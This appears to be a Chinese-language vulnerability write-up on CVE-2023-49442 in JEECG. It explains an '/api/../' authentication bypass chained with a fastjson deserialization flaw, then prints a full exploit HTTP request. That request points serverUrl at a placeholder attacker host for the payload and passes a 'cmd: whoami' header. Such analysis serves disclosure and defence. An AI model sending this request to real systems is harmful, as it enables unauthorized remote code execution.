JEECG代码执行漏洞-CVE-2023-49442
JEECG代码执行漏洞分析-CVE-2023-49442
漏洞描述
JEECG 4.0及之前版本中,由于接口鉴权时未过滤路径遍历,攻击者可构造url绕过鉴权,攻击者可构造恶意请求利用jeecgFormDemoController.do?interfaceTest接口进行远程代码执行
影响版本
- <= 4.0
漏洞分析
根据 jeecgFormDemoController.do?interfaceTest定位漏洞代码
可以看到接受3个参数:serverUrl、requestBody、requestMethod,然后根据requestMethod的值调用HttpRequest.sendPost或HttpRequest.sendGet
这2个方法的区别就是发送get或post请求,请求传入的serverUrl
之后获取请求结果,调用JSONObject.parseObject(result)
因为这里使用的是fastjson
并且其版本为1.2.31,为漏洞版本
所以我们只要构造serverUrl回显的内容为fastjson代码执行的payload即可
但实际直接访问该路由是会302跳转的,应该是拦截器做了限制
观看代码,可以发现api接口,是不做限制的,只要以/api/开头就行
又因为其alwaysUseFullPath为值false,在处理过程中会对uri进行标准化处理,所以我们可以利用/api/../的形式来进行绕过
/api/../jeecgFormDemoController.do?interfaceTest=
漏洞利用
创建如下远程文件,其内容为fastjson代码执行的payload
发送如下请求包
POST /api/../jeecgFormDemoController.do?interfaceTest= HTTP/1.1
Host:
Pragma: no-cache
Cache-Control: no-cache
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate, br
cmd: whoami
Accept-Language: zh-CN,zh;q=0.9
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 77
serverUrl=http://xxxxxxxx:8877/jeecg.txt&requestBody=1&requestMethod=GET
漏洞利用成功
参考链接
0 条评论
可输入 255 字